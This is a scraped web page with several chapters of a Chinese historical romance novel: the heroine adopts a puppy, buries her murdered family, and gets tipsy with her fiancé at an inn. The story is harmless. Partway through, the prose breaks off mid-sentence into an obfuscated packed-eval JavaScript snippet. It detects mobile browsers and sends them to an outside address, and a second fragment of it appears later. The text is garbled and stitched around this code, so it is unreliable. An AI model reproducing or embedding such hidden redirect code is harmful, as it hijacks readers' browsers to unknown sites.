小狗把鸡腿吃得干干净净,伸出舌头舔了舔嘴周的毛发,黑色的毛很快就变得湿湿的,旋即它又朝着天空打了一个大大的哈欠,薛嘉玉只觉得它这一番动作实在是可爱极了,连忙伸出手将它抱住。 “我瞧着它脾气还挺不错的,也很亲人,想来不会伤到长嫂。” 薛嘉玉抓住小狗的左前脚,去轻轻地抓了抓裴砚的手背,她嘟着嘴巴,难得声音软软的,“好不好嘛?文溪。” 裴砚受不了她这么软软地和自己说话,瞬间点头答应了下来,还说要是出了什么事,责任都揽在他的身上。 可是,裴砚很快就后悔了。 他原本以为自己“宽宏大量”地允许她在裴府里面养狗,薛嘉玉定然会好好感谢他一番,没曾想这条黑黢黢的小狗居然轻而易举地夺走了薛嘉玉对他仅存的爱意。 现如今,薛嘉玉的眼里面只有小狗,哪里还有他裴砚的地位? 裴砚顿觉危机感满满,要是自己再不使点美男计邀宠的话,恐怕日后薛嘉玉的心里面就完全没有他的位置了。 他不能让自己被一条小狗给替代。 于是,夜晚时分,裴砚特地捯饬了一番,趁着月黑风高,悄悄溜进了薛嘉玉的厢房,他蹑手蹑脚地靠近她的床榻,不出所料地被薛嘉玉给逮了个现行。 薛嘉玉瞧见他像个贼一样靠近自己,顿觉奇怪,不动声色地往墙边挪了挪。 “裴砚,你大半夜的不睡觉,来我这儿干嘛?” “不是你说让我来你的厢房找你的吗?” 他这话说得理直气壮。 而薛嘉玉也无从反驳。 毕竟她确实这么说过,不过她可没说让他这么晚了来找自己啊! 而且,他打扮得这么花枝招展,跟孔雀开屏似的是怎么一回事? 薛嘉玉背过身去,神神秘秘地在枕头底下寻找着某样东西。 裴砚一屁股坐在床沿,一手伸进被窝里左右摸了摸,却摸到了一个毛绒绒的玩意儿,他一想薛嘉玉身上怎么可能会是毛绒绒的呢? 他一把掀开被子,只见那床衾被里藏着一条黑色小狗,小狗忽然间被发现,有些懵地瞅着裴砚,跟他大眼瞪小眼,随后似是察觉到并没有危险,便趴在松软温暖的床榻上,抬起右脚,用舌头舔舐自己的脚底。 简直是完全没有把裴砚这个人放在眼里。 此时此刻,裴砚的内心更加不平衡了,“阿玉,你怎么能让狗上床睡觉呢?” 薛嘉玉倒觉得这不是什么稀奇且难以理解的事情,她从枕头底下拿出一个玉佩,面朝着他,“别说小黑的事儿了,你把这个拿好。” 裴砚从她手里接过那枚玉佩,这块玉通体成墨绿色,成色算不上多好,是市面上常有的货,且这块玉上面仅雕刻了一只普通的小兔子,是个人都看得出来这玩意儿不是个多么稀罕的,估计在西市一抓一大把。 他的指腹在小兔子上面摩挲了几下,旋即抬头笑着说:“这兔子玉佩拿给我戴,是不是有点阴柔啊?你在哪儿买的小玩意儿,这兔子雕得还不怎么好看。” 一听这话,薛嘉玉气得直接从他手里面夺回了这枚玉佩,她用袖子擦拭了几下玉佩,似乎是在嫌弃裴砚刚才摸过它。 只听她愤愤道:“裴砚!你识不识货啊?这是我们家祖传的玉佩,从来没有给过外人,你居然还敢嫌弃它!” 裴砚登时愣住了,他瞳孔微震,继而将那枚玉佩拿过来,“我不是嫌弃这枚玉佩,我只是觉得这小兔子太可爱,跟我的性格不太符合而已。不过既然这是你们家的传家宝,那我自然是不敢嫌弃的。” 见她低着脑袋,仍旧是一副气 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可他也并没有敷衍过去,而是说:“好,有需要我帮忙的,就尽管告诉我。不过,阿玉,如今大仇得报,我们是不是应该谈论一下婚事?” 薛嘉玉挪了挪身子,将脑袋搁在他的胸膛上,脸颊紧紧地贴着,感受着他胸膛的一起一伏,她用手指调皮地戳了戳裴砚的肚子,“我又没成过婚,不知道该怎么操办。” 裴砚垂眸看着怀里的女子,他的心脏开始剧烈跳动起来,他想要尽力平复下来,生怕薛嘉玉察觉到他怦怦乱跳的心脏,但皆是徒劳。 为了让薛嘉玉能够靠得更舒服一些,他将鞋子脱掉,整个人都躺在床上,四肢略显僵硬,本来还盘算着借此机会,跟她靠近一些,可是那条小黑狗就不识趣地凑了过来,窝在他们二人之间睡下了,让裴砚无法进一步靠近。 裴砚用手推了推它的屁股,想要把它推开,可是小黑狗稳如泰山,不管他怎么推,它就是死活不肯离开,甚至还调了个头,面朝着裴砚,一脸不开心,看它的表情,小黑狗似乎骂得很脏。 薛嘉玉在一旁瞅着裴砚这一番小孩子般幼稚的行为,不忍笑了几声,她起身抱起小黑狗,将它放在了裴砚怀里,“你跟一条小狗置什么气?怎么?你还怕我有了小狗就忘了你?” 被戳中小心思的裴砚连忙否认:“怎么可能?我哪有如此小气?我只是觉得它睡在我们俩中间太占位置了。” “你对人家小狗好一些,免得日后它不亲近你。” 裴砚伸出双手,轻轻抱住怀里的小狗,它浑身上下毛绒绒的,还会自己发热,抱着它就像抱着一个暖手炉一般。 小黑应当是察觉到了这个人类对它没有什么恶意,于是翻了个身,安心地侧躺在裴砚身上睡觉,它右前脚还搭在鼻子上,睡相极为可爱。 薛嘉玉忽地被小黑萌到了,用手指轻轻戳了戳它的脚背,只见小黑双眼紧闭,抽了抽鼻子,嘴里发出一阵奇奇怪怪的声音,想来应当是在打鼾。 她扬起脑袋,双眸亮晶晶的,“文溪,你瞧,小黑还会打呼噜呢。” 裴砚垂眸看着怀里的一人一狗,她依旧在好奇地逗着小狗,小狗在他的身上睡得很熟,根本不搭理她,他顿时觉得这样的生活还挺幸福。 他刚想跟薛嘉玉说几句话,却发现她逗着逗着小狗就把自己给逗睡着了,她呼吸平稳,胸腔缓慢地起伏着,嘴巴微微张开,睡相和小黑不分上下。 为了不打扰她,裴砚便伸手将床的帷幔放下,朦胧中他把被子给这俩盖上,继而低头观察着薛嘉玉的睡相,他可不敢像薛嘉玉逗小狗那样逗她,要是一不小心把她弄醒了,他定然会被薛嘉玉一脚踹到床底下去的。 他轻轻地用手指拨弄着薛嘉玉额前的碎发,随后抛下了君子的品德,在她的眉心落下一个如蜻蜓点水般的吻。 68. 安葬 这几日,薛嘉玉一直张罗着办墓地的事儿,她请了好几位风水大师来算一算那块是风水宝地,可是那些大师们算出来的地方要么太远,要么就在高山山顶,亦或是周围连根草都看不见的地方。 薛嘉玉想选一个风清水秀的地方来安葬家人,所以把风水大师们算出来的这些地方都给一一回绝了。 不过自古以来安葬一事就要遵循风水相宜这个原则,要是随便挑一块美景安葬,但是风水相冲,想来家人亦无法在地下安眠。 所以,她打算自己来算风水,特地去集市上面淘来了一本《易经》,可是薛嘉玉没有想到这本《易经》居然如此晦涩难懂,她之前看那些大师拿着个八卦盘就开始算,还以为很简单呢。 没曾想里面的门道居然这么复杂。 她本来想要放弃,可是裴砚却说她看不懂是因为她笨。 薛嘉玉可被气得不惨,她看不懂书,怎么会是她的问题呢?一定是书的问题,是编撰者没有考虑得细致入微。 为了向裴砚证明自己的确不笨,薛嘉玉废寝忘食地读了三天三夜,最终仍旧是没有看明白,甚至书本还停留在第四页。 裴砚沐浴完,瞧她还趴在书桌上面研读《易经》,便轻手轻脚地走到她身后,将书从她的掌心里抽出,接着合上,“太晚了,别看了,明日我让浑天监的人来给你算算。” 然而薛嘉玉心里面还记着裴砚那句嘲笑呢,她才不想这么快就认输,承认自己笨。 她连忙把书抢回来,翻到先前看到的地方,坐直身子,左手撑着脸颊,一副好学的模样,“不要,我看得明白,马上就要学会了,你可别想打扰我。” 这本《易经》有足足百页,可她现在却刚看到第四页,就说自己马上要学会了,裴砚不禁在心里面笑了一下,旋即走到她的身边,弯下腰,一手搭在她的背上,一手拖住她的腿弯,二话不说就将她抱了起来。 薛嘉玉被吓了一跳,手中地书本滑落在了书桌上,发出了“砰”的一声,她下意识地将两只手抱住他的脖子。 “你干嘛?我还没看完呢。” 裴砚瞧她这几日废寝忘食地看着书,却还是看不进去,就知道她肯定是不喜欢看这种类型的书,所以才会迟迟学不会。 他把薛嘉玉轻柔地放在床榻上坐着,蹲下来,一边给她脱着鞋子,一边说:“说你笨是逗你玩儿的,如何能够当真?你要是再看下去,年纪轻轻的眼睛可就要瞎了。古人云,术业有专攻,此等专业的事情不妨就交给专业的人来做。” “可是之前请的那几位大师算出来地风水宝地我一个都不喜欢。” 裴砚将她放倒在床上,细心地给她掖好被子,“浑天监那可是吃官家饭的,定然比那些赤脚大仙厉害一些,我明日就让那儿的大师给你算一算,好吗?” 薛嘉玉看书看得头都大了,也不想再去思考,于是便答应了下来,她似乎是觉得这衾被盖着有些热,于是两手两脚并用,将被子往上面提了一些,她的两只脚露了出来。 他知道薛嘉玉晚上睡觉有把双脚露出来的习惯,因此也没多管。 此时夜已深了,可是裴砚还坐在床沿,守着薛嘉玉,丝毫没有要走的意思。 薛嘉玉见他还赖在这里不走,实在是忍不住开口:“你怎么还不回房去睡觉?” 裴砚没有和她弯弯绕绕,直截了当地把自己内心所想脱口而出,“今夜你也把我留在你的房里呗?” “想得美。” “那上一次我不都留在你房里了吗?” 说起此事,她就抽起旁边的枕头,作势要打他,“你还好意思说呢。你之前不都自诩君子的吗?怎么还做出了趁人之危的事情来,趁我睡着了就偷偷留在我的床上睡觉。” 上一次他确实是有些趁人之危了,可是之后他也自食恶果了啊,翌日清晨他是被薛嘉玉踢到地上给弄醒的,小黑还专门从床上跳下来,开心地冲着狼狈的裴砚摇尾巴,好似是在幸灾乐祸一样。 “你都能允许小黑上床睡觉,为何不能允许我上床?再者,之前在我府里面的时候,你不还主动邀请我上床陪你一块儿吗?怎么还翻脸不认人?” 这段话里,裴砚掺杂了些许委屈。 别人不知道的还以为他是那个受了委屈的小媳妇儿呢。 薛嘉玉的思绪忽然间飘到了在他府里的那一夜,她面上蓦地浮现出一丝羞红,“那——那是因为我当时以为自己肯定命不久矣了,所以才特别珍惜和你在一起的日子,也想和你多亲近一些。” 裴砚此人可谓是巧舌如簧,“那如今大难不死了,就不珍惜我了?” “当然不是这个意思。”她不想和这个舌灿莲花的人继续纠结这个话题,“你要是再不走,我可就要告给兄长听了,兄长可是千叮咛万嘱咐了要保持男女距离的,勿要得寸进尺。要是被兄长知道了你的狼子野心,你就等着吃不了兜着走吧。” 裴砚拿她真是没有任何一点办法,他跟薛嘉玉道了一声“晚安”后,便迈着步子出去了,顺带把那本《周易》也一块儿带走了。 翌日,一缕缕金色的阳光透过窗户纸照射进了厢房里边,在地板上形成了一块不规则的形状,裴府的下人们也开始忙活起来,在偌大的府中来来往往,叽叽喳喳的声音将熟睡地薛嘉玉给吵醒了。 她心不甘情不愿地睁开眼睛,迷迷糊糊地掀开被子,穿好鞋子,走到窗户面前,单手推开窗户,只见外面熙熙攘攘的,热闹得很。 可是薛嘉玉并不记得今日裴府有什么大事要发生啊。 余光中瞥见了在一旁听裴珩教导的裴砚,薛嘉玉便把脑袋探到窗户外面去,朝着他唤了一声“文溪”。 裴砚闻声望去,见她醒了,便匆匆回应了裴珩几句话,便大步流星地朝着她走来,“终于醒了,怎么睡这么久?都快到用午膳的时候了。” 薛嘉玉瞥了一眼在院子里面不断走来走去的小厮们,“今天府里要办什么事儿吗?怎么这么热闹?” “我爹娘回来了,给他俩办接风洗尘宴呢。方才我娘还想见见你,我说你这头懒猪还在睡觉呢,就让她一会儿再见你。” 听及此,她不满地“啧”了一声,右手握成拳,在他的胸膛上不用力地捶了一下,“你干嘛不把我叫醒啊?完了,这下肯定要在霍夫人心里留下一个好吃懒做的形象了。” 裴砚倒不觉得这事儿有这么严重,他扬起嘴角,笑了一声,“这有什么?你不必上心,我们家挺随和的。况且方才我瞧着我娘还挺能理解你晚起的,她肯定没记心里面去。” 薛嘉玉得知霍玉燕并没有往心里面去,顿时安心了不少,但她也不敢再耽搁了,于是连忙去打水洗漱,虽说她已经在裴府住了好几个月了,但她还是不太习惯侍女的伺候,总觉得有些不太自然。 所以她基本上都是亲力亲为。 洗漱好后,薛嘉玉挑了一套淡雅的青绿色齐胸襦裙,裙摆上还用金色丝线绣了一层层漂浮的云朵。 怕怠慢了霍玉燕,薛嘉玉连脂粉都懒得上了,只用螺子黛简单地描了描眉,就跟着裴砚匆匆来到正堂会见二老。 霍玉燕虽年逾四十,但身上所穿之衣物却丝毫不显老气,反倒是颜色鲜艳,就跟个十几岁的小女娘一般,她坐在主位,手里拈着一块刚咬了一口的如意糕,瞧见薛嘉玉来了,连忙抬起右手对着她热情地招了招。 薛嘉玉快步上前,恭敬地朝着她和裴诚行了行礼,“今日晚起,还望令尊令堂莫要怪罪。” 霍玉燕不是那种古板守旧又喜欢折腾儿媳妇儿的人,她摆摆手,嘴角扬起一抹和蔼的笑容,“无碍,你们小年轻晚上折腾的晚是人之常情。不过,凡事呢都得要有个节制,也不能为了享乐,就折腾得连觉都睡不好。况且,虽说你俩已然定下婚约,但是还是要注意一点,若是还未成婚就已有了小娃娃,那可不行。” 听及此,她立刻慌慌张张地解释:“不是这样的,霍夫人,我们没有发生那些,我就是昨夜睡得晚。所以才——” 话还没有说完,就见霍玉燕抓着她的手,轻轻拍了拍薛嘉玉的手背,她用一副“我都明白”的表情瞅着薛嘉玉,“放心,我也是过来人。小两口之间的事情我都是明白的,一时间把握不住亦是人之常情。放心,我可不是那种老古板。” 薛嘉玉默默用手肘戳了戳裴砚的手臂,想要让他出声解释一下,可是裴砚却笑着应道:“是是是,娘教训的是,日后会注意的。” 他这么说,那不就是间接——不!直接承认了吗? 她气得想要直接捏他几下。 说教完小儿子,霍玉燕就把炯炯有神的目光挪到了裴珩身上,不过她这个大儿子倒是要比小儿子更让人放心一些,所以霍玉燕只匆匆告诫了他几句。 况且,比起裴珩,霍玉燕更加关注已然有了身孕的蒋宁显,她将手心轻轻放在她的肚子上,“怀孕以来有没有什么不适?胃口还好吧?从瑜对你也还好吧?他平时有没有多陪着你?有没有惹你生气?” 这几个问题一时间一起砸在她的脑袋上,蒋宁显险些反应不过来,她扬起唇角,由衷地说:“娘,你就放心吧,从瑜这段日子对我挺好的。” 听及此,霍玉燕顿时放心了不少,她生怕自己这个木头脑袋的大儿子又惹自己的妻子生气。 谈笑间,小厮们已经把香喷喷的饭菜摆在了圆桌上,纯白无瑕的瓷盘里盛着极为丰盛的菜肴,有糖醋鲤鱼、香酥鸭、烧鹧鸪、麻婆豆腐、素炒三丝、云片糕,还有专门为蒋宁显准备的乌鸡汤。 简直堪比一场满汉全席。 裴珩给蒋宁显盛了一碗鸡汤,忽地想起了一件事情,“娘,宁显如今月份渐渐大了,太过忙碌也不好,所以我想让她暂时先别操劳府中地事务了。” 听见这番话的霍玉燕很是欣慰,她连连点头,“难得你有这份体贴宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她感谢的话语刚到嘴边,就忽然间被她吞了进去,因为薛嘉玉想起了方才裴砚承认了他们两发生过这件事情。 薛嘉玉扬起左手,用手指揪着他的耳朵,狠狠向下扯,裴砚整个人只得弯下腰来,他立刻知错,“阿玉,为夫错了,莫要与我计较。” 她点点头,不张嘴地“嗯”了一声,旋即薛嘉玉意识到了不对,加重手上的力气,凑到他的耳畔,“你刚刚怎么称呼你自己的?” 裴砚连忙改口,“我错了我错了,这大街上就留我一个面子嘛。” 薛嘉玉大发善心,决定饶他一命,“那咱们现在出来干什么?” “当然是带你去找浑天监的大师给你算一算啊。” 她没想到裴砚行事速度如此之快,本以为此事会因为裴母裴父的来临而耽搁的,没曾想裴砚已然办得妥帖。 为了感谢他,薛嘉玉悄悄踮起脚尖,在青天化日之下吻了一下裴砚白皙无暇的脖子,他顿觉全身上下的血液沸腾起来,裴砚用手摸了摸方才被女流氓亲过的地方,旋即戏谑道:“阿玉,白日宣淫可不文雅。” 兴许是跟着裴砚在一起相处久了,薛嘉玉也学会了他说话的那一套,她学着裴砚那副吊儿郎当的模样,不着调地调侃回去,“那你等夜深了再来一趟我屋里呗,夜晚宣淫那可是人之常情。” 见她也学会说这种荤素不忌的话了,裴砚气得用手轻柔地捏了两下她的脸颊,“这些话是应该从你这样的小女娘嘴巴里出来的吗?” 薛嘉玉心疼地用指腹揉了揉方才被掐过的地方,“怎么?只准你们男子说这种话,就不准我们女子说了?” 裴砚自然不是这么个意思,他与薛嘉玉十指相扣,垂眸盯着她的发顶,语气中掺杂着散漫,“那自然不是。只是在大庭广众之下说这种房中趣事,实在是不文雅,你可以等到了晚上,再在我的耳畔前说,多说几句也无妨。” 听完这么一大段话后,薛嘉玉简直想直接把他的嘴巴剁了。 她就知道裴砚憋不出来个好屁。 这几日日日都要提一嘴这种事儿,薛嘉玉就搞不明白为什么他这么执着于这种事情?天底下比这更有趣更有意义的一抓一大把,他怎么就非得要想这些呢? 薛嘉玉可不像他一样不正经,“裴文溪,你能不能别一天到晚都肖想这些房中之事?干点正经的可以吗?” 既然她想要聊点正经的,那裴砚就跟她聊点正经的就是了。 “行,那咱俩就聊点正经的。前几日死在自家屋里的黄三娘验出来的结果是什么样的?” 她让他聊点正经的,可没让他聊公务啊! 薛嘉玉努了努嘴,“我也不想聊公务。” 见她既不愿和自己谈情说爱,又不愿意跟自己谈论公事,裴砚忍不住委委屈屈地吐槽:“你这人怎么什么都不愿意和我聊?该不会是看上了别的男子吧?” 69. 石碑 薛嘉玉见路边的野花开得挺香,就不要脸地摘了一朵,然后把芳香四溢的花塞进了裴砚的手心里面,“文溪,你怎能如此不自信呢?像你这样芝兰玉树、温文尔雅、风流倜傥、才高八斗的小郎君那可是三生三世求都求不来的。我怎么可能会抛下你,和别的小郎君在一块儿呢?” 听她拍了一大堆马屁,还难得这么有文化一次,裴砚顿时心里畅快了不少,他将视线挪到手心里的野花上,粉红色的花瓣不大不小,呈月牙状,瞧着倒是挺可爱的。 裴砚将这朵花别在她的头发上,香气幽幽,许是她觉得闻久了,脑袋有些晕,便把这朵花摘了下来,塞进了裴砚的腰带里。 二人来到一家酒楼门口,此时冯监正已然在酒楼门口等了些许时分,见裴砚二人来了,便恭恭敬敬地向他行礼,“裴少卿。” 冯监正的地位虽然比不上裴砚,但毕竟是年长者,裴砚自然不好意思见他给自己行礼,连忙伸手将他扶起来。 “监正您客气了,您可是长辈,哪有长辈向晚辈行礼的啊?” 冯监正早就从同僚那里听说了裴少卿和女囚犯绝无仅有且感天动地的爱情故事,他一把年纪了,听了之后竟也为之动容,如今一睹薛嘉玉芳容,便一下就明白了为何裴砚会对一名囚犯动心,如此这般明眸皓齿、冰肌玉骨的女娘,怎么可能会有男子不喜欢呢? “裴少卿真是好福气啊,能够娶到这样一位沉鱼落雁、有勇有谋的小女娘。” 裴砚客客气气地应和了几句。 薛嘉玉却在心里面想:其实她接近裴砚那段时间,自己长得并不好看,只有五官还勉强看得过去,那会儿面黄肌瘦,也舍不得买好的养颜膏,所以整个人瞧起来简直就是貌若无盐。之所以如今能够变得稍微好看些,也多亏了裴砚一直喂她吃好吃的,给她买最好的养颜膏。 所以很多时候她也想不通裴砚究竟一开始是因为自己哪一点才喜欢上的? 裴砚和冯监正客套了几句,正要随他一同去城郊,却见薛嘉玉有些心不在焉,裴砚拍了拍她的脊背,提醒她该走了。 薛嘉玉这才缓过神来,她小步跟上前面两人的步伐,本想问一问裴砚那个问题的,可却听见他们二人正在聊官场上的事情。 虽说她如今在大理寺有了职位,也算踏进了官场,可是离真正的朝廷却有十万八千里远,所以他们两个人谈的事情,薛嘉玉可谓是一个字儿都听不懂。 况且她也不想去了解这些。 她只想好好干好仵作这份活,每个月按时领着俸禄,偶尔和崔景天她们一块儿出去玩。 冯监正带着两人来到了城郊的一片草原上,此处一望无际,全是绿油油的草地,高大的树木倒不算特别多,因此视野开阔,也不显得黑压压的。 薛嘉玉倒是比较钟意这块地方。 只见冯监正从一个布袋里头掏出一个八卦盘和一个罗盘,先是用罗盘测了测方位,接着就用八卦盘来测,在薛嘉玉眼里,他这番动作就跟跳大神的一样。 原以为他测完这俩就完了,没曾想冯监正又掏出一个龟甲,把龟甲放在地上,随后用火折子燃烧龟甲,发出了噼里啪啦的声音。 在人们眼中,这种声音是神的意志的传达。 可在薛嘉玉看来,这简直就是虐待乌龟。 她悄悄扯了扯裴砚的衣袖,裴砚猜到她想要说什么,识趣儿地弯下腰来,抢先一步道:“你放心吧,冯监正可是浑天监里面最有资历的一位了,况且他伴了两位皇帝,能没有点儿本事吗?” 要不是薛嘉玉看不懂《易经》,她肯定就自己来了。 冯监正收起这些占卜用品,随后捋了捋花白的胡子,用手在面前比划了一个大大的圈,“此地阴阳持平,为大吉,宜安葬。” 她瞧着这儿风景不错,而且这都已经是淘汰了无数块地后选出来的,薛嘉玉也懒得再去看看别的了,便就这么定下了。 裴砚见她终于定下了墓地,便先行离开,送冯监正回到浑天监。 薛嘉玉见此刻天色尚早,就想着早点把家人安葬了,这样也好让他们能够真正安溪,于是她匆匆忙忙跑回裴府,叫走了几个小厮,一同爬到上次陈祺带她去的那座无名山上。 她和小厮一块用铁锹将土挖出来,随后薛嘉玉小心翼翼地将那些七零八落的骨头捡起来,放进了箱子里面。 由于死亡人数太多,骨头都有上千块,且男女老少混在一起,薛嘉玉实在没有这个能力将这些零散的骨头都给拼起来,只能委屈在天上的家人了。 小厮在前面驾着马车,薛嘉玉坐在里头,两只手放在箱子上,弯下腰,将脸颊贴在盖子上。 娘、爹、乳母还有洒扫的小厮们,你们终于可以在九泉之下安息了,你们放心吧,阿玉过得很好,现在也交到了很好的朋友,也遇到了一个很不错的郎君,他的家人对我也很好。再过两个月,我就要跟他成婚了,想来还有些激动呢,因为他这个人非常好,好到让我觉得他这个人像是虚构的一般,虽然刚见面的时候对我一点也不好。 想到这里,薛嘉玉的眼角划过一滴眼泪,啪嗒一声掉在了红木箱子上面,形成了一圈小小的水渍。 她居然蹭了起来,用手背拂去眼泪,强行让自己不要哭出来,让家人安息,让自己过上了好日子,这分明是值得庆贺的大喜事,为何要哭呢? 可是薛嘉玉一想到自己的大喜日子,爹娘都看不见,她心中不免觉得有些惋惜。 马车的轮子滚滚前行,从无名山驶向方才那片草原,她把冯监正指出的那块地用铁锹挖出了一个巨大的洞,随后和小厮一块儿把箱子埋了进去,并把刻好字的石碑插进泥土里面,虽然过程有点潦草,但至少这石碑上面的字是她一笔一划刻出来的。 只不过她没学过书法,字有些丑,刻了几个字之后,发现歪歪扭扭的,一点儿也不雅观,就把裴砚逮过来,让他把剩下的字刻好。 不得不说,不愧是上过私塾的人,果然随随便便露一手,就让人忍不住驻足欣赏。 她坐在墓碑前,和家人们有一搭没一搭地聊着,把这些年一直都想对他们说的话全都吐了出来,薛嘉玉顿觉心里畅快不少。 她坐上马车回到裴府,恰巧遇上了在庭院里边逗狗的裴砚,薛嘉玉大步上前,蹲在小黑面前,摸了摸它的脑袋,小黑亲昵地用鼻子嗅了嗅她的手臂。 裴砚问:“今晚想吃什么?” 薛嘉玉有些疑惑他问的这个问题,“不在府里吃吗?” “今日你终于把家人安顿好了,算是了了心中一个心结,自然应当带你出去吃些好吃的。” “好啊,那我们去平泉楼吧?” 裴砚笑着点头回应:“好。” 本来他想着今日薛嘉玉忙上忙下、跑来跑去的,腿脚肯定有些累,便打算驾着马车过去,可是薛嘉玉非要说自己不累,执意要跟他一起走过去,说是散步更浪漫一些。 他一向都拿薛嘉玉没有任何办法,只好听她的话,跟她一起走过去。 这时华灯初上,平泉楼里涌入了不少顾客,大堂人声鼎沸,店小二忙得像是搬家的蚂蚁,幸好裴砚经常来这儿和友人相聚,或是与同僚谈事,所以已然成了这里的一大贵客,店主见贵客来了,连忙把手中捧着的账本丢到一边去,亲自上前迎接。 店主笑脸盈盈,“裴君可还是去那间包厢?” “嗯,让店小二上些你们这儿的新菜,茶水要云雾茶,再来一盘煎饼。” 店主连连点头,将这些要求全都记下,“好的裴君。” 薛嘉玉见他对这里的路线十分熟练,就知道他肯定是这里的常客,可他自己都经常来这里,却不让她来这儿瞎逛逛,她心里顿时有些不平衡了。 “文溪,原来你是这儿的常客啊,难怪你都不让我来这里玩,是怕我坏了你的好事?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297204|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴砚单手推开房门,紧接着又将手搭在了薛嘉玉的后脑勺上面,往前轻轻推了一下,“怎么说话呢?我是来这儿谈正事的,你是来这儿喝花酒的。况且上一次你喝多了调戏我,还被裴珩抓了个现行,我能不管着你吗?” 这话一出,薛嘉玉的脑海里顿时浮现出上一次在马车里面的一举一动,确实是和一个女流氓并无二致,她将手放在太阳穴旁边,一本正经地发誓:“你放心,我定不会再做出那些事情来了,所以这一次你就让我喝点酒好不好嘛?” 裴砚当即就否决了。 可是她都已经很久很久没有喝过酒了,实在是有点馋了,薛嘉玉方才在楼下的时候留意到平泉楼新上了桃花酿,据说这儿的桃花酿口感香甜,酒味极淡,是不易喝醉的。 她实在是很想要尝尝。 薛嘉玉将椅子挪到了裴砚旁边,她两只手抓住裴砚的右手臂,使劲儿地晃了晃,差点儿没直接把他的胳膊卸下来。 “文溪,你最好了,今日我还在家人坟前夸了你一大堆呢,你就让我喝几口桃花酿好不好?求求你了嘛,你这么风流倜傥的郎君想必也不想看到心爱的女娘得不到自己想要之物吧。” 不知道是他磨不过薛嘉玉有些笨拙的撒娇,还是被“风流倜傥”这四个字儿击中了,总之裴砚心软答应了,叫店小二送了一壶桃花酿过来。 他想,这桃花酿不醉人,她定然是喝不醉的,况且还有他在这儿看着她呢,怎么可能喝得醉? 目的达成,薛嘉玉的脸上登时浮现出些许得逞的笑容,店小二把招牌菜和桃花酿端过来的时候,她的那双眼神都快要长在桃花酿身上了,巴不得直接就把它抢过来,然后狠狠地猛灌一口。 裴砚都有些嫉妒了,她的那双眼神可没这样长在自己身上。 薛嘉玉用手拈起一块煎饼,咬了一口,酥酥脆脆的,还有一些碎片掉在了裙摆上,她连忙腾出一只手去把碎片拂下去。 随后,她将煎饼递到了裴砚嘴前,有了前车之鉴,裴砚这次立刻就凑过去,咬了一口煎饼,味道确实不错,回味香甜。 薛嘉玉吃饭可一点儿也不优雅,胡吃海塞的,好似有人在跟她抢饭吃一般,可裴砚就不一样了,慢嚼细咽,坐姿挺拔,确实是一副翩翩公子的模样。 裴砚吃了几口,便把筷子横放在瓷碗上,而身旁的薛嘉玉大抵是因为方才吃得太急,有些噎住了,于是拿起酒壶,将壶嘴对准自己的嘴巴,猛猛灌了好几口。 他刚要阻止,薛嘉玉就已经把酒壶放下来了。 她两只手随意地搭在桌面上,脸颊泛红,双眸渐渐无神,薛嘉玉板正地坐在椅子上愣了一会儿,继而又从椅子上站起来,她转过身,长腿一跨,直接坐在了裴砚的大腿上,两条手臂不用力地勾着他的脖子。 裴砚意识到了不对,他伸出手,拿起酒壶晃了晃,发现整一壶酒都被她偷偷摸摸喝完了。 不过按理说这桃花酿不醉人的,能只喝完一壶就醉,只能说明薛嘉玉酒量实在太差,简直差到惨绝人寰。 他的语气中掺杂着无奈,“你又喝醉啦?” 薛嘉玉点了点脑袋,嘴上却否认:“没有呀,我没有喝醉,我还认识你,你是我的夫君嘛。” 完了,这是真的喝醉了。 裴砚不禁叹了口气,他单手环住薛嘉玉的腰肢,饶有兴致地盯着她泛红的脸蛋,“那夫人这次又想耍什么流氓?” “耍流氓?”薛嘉玉听见这三个字的反应有些大,她腾出右手,紧握成拳,打了一下他的胸膛,“这怎么能叫耍流氓呢?我们是夫妻,这叫做情趣。” 他如今严重怀疑薛嘉玉最近是不是看了什么不正经的话本,否则为何连“情趣”这种词都学会了。 她缓缓靠近,二人的鼻尖已几乎快要碰在一起,薛嘉玉的视线很自觉地落在了裴砚那双极富肉感的双唇上,她一时间情难自控,竟直截了当地吻了上去。 70. 吻 见她主动吻了上了,裴砚怎会拒绝? 他简直求之不得。 裴砚一手抵着她的后脑勺,一手放在她的腰上,他忍不住加深了这个吻,唇齿相依,薛嘉玉顿时感觉自己整个口腔都已经被他占据。 不得不说,他的吻技确实要比薛嘉玉好了不知多少,如今主动权已被裴砚强行夺走,她便只有好好享受的份儿。 待到二人气息紊乱之际,裴砚才依依不舍地放开了她,可薛嘉玉似乎是有些贪恋,还特意轻轻咬了一下他温润的下唇,随后装出一副人畜无害的模样。 裴砚用指腹摸了摸放下被她咬过的下唇,“阿玉,占我便宜就算了,怎么还咬我?” 可薛嘉玉就是个蛮横不讲理的女流氓,她不仅没理会他的控诉,甚是还用两只手扒开他的衣裳,将脑袋埋进他的胸膛里,随后便像是在品尝食物一般细细嗅了嗅,一股檀香瞬间充盈了她的鼻腔。 她皱了皱眉头,有些不悦,“怎么不是上次那个味道?” “上次那个香料用完了,你很喜欢那个香?” 薛嘉玉诚实地点了点头,继而将脸往右边偏了偏,脸颊紧紧贴在他发热的肌肤上,在他的每一寸肌肤上都留下了一个飞速的吻。 裴砚被亲得有些心痒痒,他想要将薛嘉玉扶起来,可是他就像是一条毛毛虫一样,就这样粘在了他的身上。 “阿玉,起来好不好?” 她猛地摇了摇头,脸颊蹭着裴砚的胸膛,薛嘉玉还得寸进尺,将手掌心放在他的胸膛上,四处游荡着,要不是有衣服的束缚,她的掌心定然会往更深的地方探去。 被占尽便宜的裴砚对此束手无策。 